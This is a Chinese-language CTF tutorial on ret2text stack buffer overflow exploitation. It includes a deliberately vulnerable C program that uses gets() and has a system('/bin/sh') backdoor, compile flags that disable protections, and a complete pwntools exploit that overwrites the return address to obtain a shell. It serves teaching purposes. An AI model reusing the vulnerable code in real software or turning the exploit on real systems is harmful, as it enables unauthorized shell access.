从零理解ret2text攻击:栈溢出漏洞利用入门与实践
2026/7/29 23:38:05 网站建设 项目流程

1. 项目概述:从零到一理解ret2text攻击

如果你刚接触CTF PWN,看到“ret2text”这个词可能有点懵。简单来说,这是一种最基础、最经典的二进制漏洞利用技术,也是你PWN入门的“第一课”。它的核心思想,就像是你去朋友家串门,本来应该从正门进客厅,但你发现他家后门没锁,而且后门直接通向放保险箱的密室。在程序的世界里,“正门”是正常的函数返回流程,“后门”则是程序里已经存在的、能给你带来好处的代码片段(比如调用system("/bin/sh")的函数),而“没锁”就是缓冲区溢出漏洞,让你能改写程序原本的返回地址,强行让它跳转到“后门”去执行。

我刚开始学PWN的时候,觉得这些概念特别抽象,直到亲手用ret2text拿到第一个shell,那种感觉就像第一次成功撬开一把锁(当然,是在合法的CTF环境里),瞬间就通了。今天,我就带你完整走一遍这个过程,从漏洞原理分析、环境调试,到最终用Python3写出一个稳定可用的攻击脚本(exp)。我们不会停留在“怎么用”,而是会深入“为什么这么用”,让你真正理解每一步背后的逻辑。无论你是完全零基础,还是对栈溢出有点概念但不知如何下手,这篇内容都能让你有所收获。

2. 核心原理深度拆解:栈、函数调用与缓冲区溢出

要理解ret2text,你必须先明白程序运行时的一个关键数据结构:。你可以把栈想象成一摞叠起来的盘子。每次调用一个函数(比如main函数里调用了vulnerable_function),程序就会往这摞盘子的最上面放一个新的盘子,这个新盘子就是为新函数准备的栈帧。栈帧里存放着这个函数执行所需的各种信息,其中有两个对我们攻击至关重要的“标记”:

  1. 返回地址:这个地址告诉函数,等你执行完了,应该回到哪里继续执行。就像书签,标记了你从哪一页跳转过来的。
  2. 保存的上一栈帧基址:用于在函数返回后恢复上一个函数的栈环境,我们先不过多关注。

函数内部定义的局部变量,比如一个字符数组char buf[10],也会放在它自己的栈帧里。缓冲区溢出漏洞就发生在这里。比如,程序使用不安全的gets(buf)scanf(“%s”, buf)来向buf里读入数据。这些函数不会检查输入的长度是否超过了buf的大小(比如10字节)。如果你输入了超过10个字符,多出来的数据就会像水漫过杯子一样,覆盖掉栈帧里buf之后的内存区域。

随着你输入的数据越来越多,它会依次覆盖:

  • 其他局部变量
  • 保存的上一栈帧基址
  • 最后,也是最关键的,返回地址

当函数执行完毕,准备ret(返回)时,它会从栈上取出这个已经被我们覆盖的“返回地址”,并跳转到那里去执行。如果我们精心构造输入数据,让这个被覆盖的地址指向程序里一个我们期望的代码位置(比如一个已经存在的system(“/bin/sh”)调用),我们就成功劫持了程序的执行流。这就是ret2text(Return to .text)名字的由来:控制程序返回到.text代码段中已有的、对我们有利的指令序列去执行。

2.1 为什么是.text段?

这里涉及一点ELF(Linux可执行文件)格式的知识。一个程序被加载到内存后,代码部分(即机器指令)通常存放在.text段,这个段通常具有可执行权限,但没有写入权限。数据、全局变量等在.data.bss段。栈和堆则是动态分配的区域。ret2text之所以经典,是因为它利用了程序自身已有的代码,不需要我们在栈上注入并执行自己的代码(那需要栈有可执行权限,现代系统通常默认关闭此保护,即NX/DEP保护),因此它绕过了“数据区不可执行”的保护,在存在漏洞的简单程序中非常有效。

2.2 攻击成功的必要条件

一次成功的ret2text攻击需要同时满足以下几个条件,缺一不可:

  1. 存在栈缓冲区溢出漏洞:程序有像getsstrcpy(不检查边界)、scanf%s)这类危险函数。
  2. 漏洞可达返回地址:溢出的大小必须足够长,能够覆盖到栈帧中的返回地址。我们需要计算出从缓冲区开始到返回地址的精确偏移量。
  3. 程序中有可利用的代码片段:通常是一个能直接获取shell或具有其他高权限操作的函数或指令序列。最常见的就是调用了system(“/bin/sh”)的函数,或者一个能调用execvegadget
  4. 知道该代码片段的地址:我们需要获得目标函数(如secure_function)或指令在内存中的准确地址,以便用它来覆盖返回地址。
  5. 没有或可绕过其他保护机制:在入门阶段,我们通常假设关闭了地址随机化(ASLR),这样每次运行程序,.text段的地址是固定的,我们计算出的地址才有效。现代编译默认开启的栈保护(Canary)也会阻止我们覆盖返回地址,但简单的入门题通常会关闭它。

3. 实战环境准备与目标程序分析

理论说再多,不如动手调一次。我们假设一个经典的CTF入门题场景。

3.1 实验环境搭建

我强烈建议你在一个Linux虚拟机(如Ubuntu 20.04/22.04)或WSL2环境中进行实验。这样最贴近比赛环境。首先,安装必要的工具:

sudo apt update sudo apt install -y gcc gdb python3 python3-pip git sudo pip3 install pwntools

pwntools是写exp的神器,能极大简化我们的工作。gdb是调试分析的必备工具。

3.2 目标程序源码与编译

假设我们有如下一个极度简化的漏洞程序源码vuln.c

#include <stdio.h> #include <string.h> void secure_function() { system("/bin/sh"); // 这是我们想要的“后门”函数 } void vulnerable_function() { char buf[10]; printf(“What’s your name?\n”); gets(buf); // 危险的函数,不检查输入长度 printf(“Hello, %s!\n”, buf); } int main() { setbuf(stdout, NULL); // 关闭输出缓冲,方便调试 vulnerable_function(); printf(“Program exited normally.\n”); return 0; }

为了让我们专注于漏洞利用本身,编译时需要关闭一些现代保护机制:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
  • -m32: 编译为32位程序。32位程序的地址是4字节,栈结构更简单直观,适合入门。64位原理类似但细节有差异。
  • -fno-stack-protector: 关闭栈溢出保护(Stack Canary),否则我们的覆盖会被检测到导致程序崩溃。
  • -z execstack: 允许栈可执行(虽然ret2text用不到,但先开着无妨)。
  • -no-pie: 关闭位置无关可执行文件。这确保了程序每次加载时,.text段的地址是固定的,我们才能硬编码secure_function的地址。

注意:在实际CTF比赛中,题目二进制文件通常是给定了的,你无法控制编译选项。但入门题往往就是使用类似上述选项编译的,以降低难度。你需要用checksec工具(pwntools内置)来检查目标程序开启了哪些保护。

3.3 关键信息搜集:偏移量与目标地址

攻击前,我们需要两个关键数字:偏移量目标地址

1. 计算偏移量偏移量指的是从我们控制的缓冲区(buf)起始位置,到栈帧中返回地址之间的字节距离。有几种方法:

  • 静态分析:对于简单程序,可以计算。buf大小10字节,加上可能的内存对齐,以及32位程序中在buf和返回地址之间可能存在的“保存的ebp指针”(4字节)。但最可靠的方法是动态调试。
  • 动态调试(模式字符串法):这是最常用的方法。我们构造一个特殊的、带有明显模式(如cyclic生成的字符串)的输入,让程序崩溃,然后查看崩溃时程序试图跳转的地址(即被我们覆盖的返回地址),再反推出偏移。

使用pwntoolscyclic功能:

from pwn import * context.binary = ‘./vuln’ context.log_level = ‘debug’ io = process(‘./vuln’) # 生成一个200字节的、不重复的循环模式字符串 pattern = cyclic(200) io.sendline(pattern) io.wait() # 等待程序崩溃 # 从核心转储文件中读取崩溃信息,获取覆盖了返回地址的4字节内容 core = io.corefile eip_value = core.eip offset = cyclic_find(eip_value) print(f“Offset to return address: {offset}”)

运行后,假设输出offset22。这意味着我们需要填充22个字节的垃圾数据,第23-26字节(32位下4字节)的内容就会覆盖返回地址。

2. 获取目标函数地址我们需要secure_function在内存中的地址。由于编译时用了-no-pie,这个地址是固定的。

objdump -t vuln | grep secure_function # 或者用gdb gdb ./vuln -batch -ex “p secure_function”

假设输出地址为0x08048456。记下这个地址。

实操心得:在真实做题时,你拿到的只有一个二进制文件。你可以用objdump -d ./binary | grep -A 20 “<secure_function>:“来反汇编查看该函数,并确认它确实调用了system。有时这个函数不叫secure_function,可能叫wingetshellhacked等,你需要用strings命令结合反汇编寻找/bin/sh字符串和system调用。用ROPgadgetropper工具搜索call systemexecvegadget也是常见思路。

4. 漏洞利用脚本(exp)的编写与详解

掌握了偏移量(22)和目标地址(0x08048456),我们就可以构造攻击载荷(payload)了。一个完整的Python3exp如下:

#!/usr/bin/env python3 from pwn import * # 设置目标程序和架构上下文 context.binary = ‘./vuln’ context.log_level = ‘info’ # 调试时可设为‘debug’,看更多信息 context.arch = ‘i386’ # 32位架构 def main(): # 1. 启动本地进程(打本地文件)或连接远程服务 # io = process(‘./vuln’) # 本地 # io = remote(‘ctf.example.com’, 9999) # 远程 io = process(‘./vuln’) # 2. 接收程序初始输出(如果有),避免发送数据过早 # print(io.recvuntil(b“What’s your name?\n”)) # 如果程序有提示语 # 3. 构造payload offset = 22 target_addr = 0x08048456 # secure_function的地址 # payload结构:[填充垃圾数据] + [目标地址] # p32() 用于将整数打包为32位小端序字节串 payload = b’A’ * offset + p32(target_addr) # 4. 发送payload io.sendline(payload) log.info(f“Payload sent: {payload}”) # 5. 尝试将进程交互转换为shell交互 io.interactive() if __name__ == ‘__main__’: main()

4.1 exp脚本逐行解析

  • from pwn import *:导入pwntools库,它封装了进程、网络、打包、调试等大量功能。
  • context设置:告诉pwntools我们的目标环境,方便其进行一些自动化的处理,比如自动选择shellcode架构。
  • 进程启动process()用于启动本地程序,remote()用于连接远程靶机。这是exp通用化的关键。
  • p32()函数:这是至关重要的一步。计算机内存中数据存储有字节序之分,x86/x64架构使用小端序,即低位字节在前。整数0x08048456在内存中存储为字节序列\x56\x84\x04\x08p32(0x08048456)就是完成这个转换。如果直接用字符串拼接,地址可能会错误解析。
  • payload构造b’A’ * offset用字符A(其ASCII码为0x41)填充偏移量之前的所有空间。这部分数据内容无关紧要,只要能占位就行。然后拼接上打包好的目标地址。
  • sendline():发送我们的payload,并加上一个换行符(\n),因为原程序使用的是gets(),它读到换行符或EOF停止。
  • interactive():发送payload后,如果攻击成功,程序会执行system(“/bin/sh”),从而启动一个shellinteractive()将终端控制权交给你,让你可以在这个shell里执行命令(如lscat flag)。

4.2 运行与效果验证

保存脚本为exp.py,并赋予执行权限chmod +x exp.py。在终端运行:

python3 exp.py

如果一切顺利,你会看到程序输出“Hello, AAAAAAAAAAAAAAAAAAAAAA!”,然后停顿一下,紧接着你的命令行提示符可能会变成$或者没有任何变化,但此时你已经可以输入系统命令了。输入idwhoami查看当前权限,输入cat flagls查看目录。

注意事项:有时system(“/bin/sh”)产生的shell是交互式的,但输入输出可能因为缓冲或pty问题而表现异常。如果遇到输入没反应或者直接退出,可以尝试在payload发送后、interactive()前,加一句io.clean()清理缓冲区,或者使用pty来分配伪终端:io = process(‘./vuln’, stdin=PTY)。在远程利用时,这些问题更常见,需要根据情况调整。

5. 进阶技巧与问题深度排查

第一次成功拿到shell固然兴奋,但现实中的CTF题目和漏洞利用远非如此简单。下面分享几个我踩过坑后总结的进阶要点和排查思路。

5.1 当system(“/bin/sh”)地址中有坏字符时

不是所有地址都能顺利输入。某些函数(如scanf遇到空格、strcpy遇到\x00)会对输入进行过滤或截断,这些不能使用的字节称为“坏字符”。如果目标地址0x08048456中包含坏字符(例如\x00是字符串终止符,常见的坏字符),我们的覆盖就不完整。

解决方案

  1. 寻找替代地址:尝试跳转到目标函数内部稍后的指令地址,避开坏字符。例如,跳转到0x0804845a,只要这个地址仍然在system调用之前,且能顺利执行到关键代码。
  2. 使用ROP链:如果整个.text段都找不到不含坏字符的合适地址,或者没有直接的system(“/bin/sh”),就需要转向更高级的ret2libc或ROP(面向返回编程)。这需要泄漏libc地址,然后计算system和字符串“/bin/sh”的真实地址。这是ret2text之后的必经之路。

5.2 栈对齐问题(64位程序常见)

在64位程序中,函数调用约定从32位的cdecl变为System V AMD64 ABI。其中一个关键点是,当call指令执行时,栈指针rsp在跳转前必须是16字节对齐的。而ret指令会将rip(返回地址)弹出栈,使rsp+8。如果我们直接用secure_function的地址覆盖返回地址,函数被ret调用时,rsp可能不是16字节对齐的,这可能导致system内部因SSE指令等问题而崩溃。

解决方案:在目标函数地址前,再添加一个ret指令的地址(即一个ret gadget)。这样执行流会先retret gadget,这个ret会让rsp+8,从而完成对齐,然后再执行下一个ret,跳转到我们的目标函数。所以64位下的payload可能形如:padding + p64(ret_gadget_addr) + p64(target_addr)。使用ROPgadget --binary vuln | grep “ret“可以找到ret指令的地址。

5.3 调试技巧:让exp在gdb中运行

exp时,直接在命令行运行可能一次成功,但更多时候需要调试。pwntoolsgdb结合非常方便。

io = gdb.debug(‘./vuln’, gdbscript=’’‘ break *vulnerable_function+25 # 在gets调用后下断点 continue ’’’)

这样exp会启动gdb并附加到进程。你可以在脚本中pause(),然后在gdb窗口查看栈内存、寄存器状态,验证payload是否准确覆盖了返回地址。

5.4 常见问题速查表

问题现象可能原因排查思路
发送payload后程序立即崩溃,无shell1. 偏移量计算错误。
2. 目标地址错误或函数不存在。
3. 栈保护(Canary)未关闭。
1. 用cycliccorefile重新精确计算偏移。
2. 用objdumpgdb确认函数名和地址。
3. 用checksec检查保护,确认Canarydisabled
拿到shell但输入命令无反应或立即退出1.shellstdin/stdout未正确继承。
2. 栈空间不足或环境变量问题。
1. 尝试io.sendline(b’cat flag; exit’)直接执行命令并退出。
2. 使用io = process(‘./vuln’, stdin=PTY, stdout=PTY)
3. 在payload后添加io.clean()
远程打靶成功但拿不到flag1.flag不在当前目录或文件名不标准。
2. 权限不足。
1. 在shell中执行find / -name ‘*flag*‘ 2>/dev/null搜索。
2. 执行idls -la查看权限和文件属性。
覆盖返回地址后程序行为异常(非崩溃)地址可能包含换行符\x0a或空字符\x00,被输入函数截断。检查目标地址的字节序列,使用hexdumppwntoolshex()。寻找不含坏字符的替代跳转地址。

6. 从ret2text到更广阔的世界

通过这个简单的ret2text例子,你已经掌握了栈溢出利用最核心的链条:控制返回地址。这是所有复杂利用的基石。但现实世界和CTF比赛中,直接给你一个system(“/bin/sh”)的“后门函数”是很少见的。接下来,你的学习路径应该是:

  1. ret2shellcode:当栈可执行时,你可以将一段获取shell的机器码(shellcode)注入到缓冲区,然后让返回地址跳转到这段代码的起始处。这需要你理解shellcode的编写和地址定位。
  2. ret2libc:当程序没有后门,但可以泄漏libc库中某个函数的地址时,通过计算偏移,可以求出system函数和字符串“/bin/sh”的真实地址,从而构造rop链调用system(“/bin/sh”)。这是绕过NX保护(栈不可执行)的标配方法。
  3. ROP(面向返回编程):当溢出空间很小,或者需要完成复杂操作时,就需要在程序中寻找以ret结尾的小指令片段(gadget),像拼积木一样将它们串联起来,实现参数传递、函数调用等,最终达到目的。这是现代PWN题的主流考点。
  4. 堆利用:在栈保护日益完善的今天,堆漏洞利用(如Use-After-Free, Double Free, Heap Overflow)成为了更重要的战场,其思路与栈溢出截然不同,更加复杂和精巧。

每一次进阶,都建立在对计算机系统底层(内存布局、调用约定、汇编指令、链接装载)更深刻的理解之上。我个人的体会是,PWN的学习曲线陡峭,但每突破一个阶段,你对程序如何运行的理解就会加深一层。不要满足于运行别人的exp,一定要自己动手分析、调试、修改,甚至从零编写。遇到问题多查文档、看源码、问社区。这个从ret2text开始的shell,就是你通往二进制安全世界大门的钥匙。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询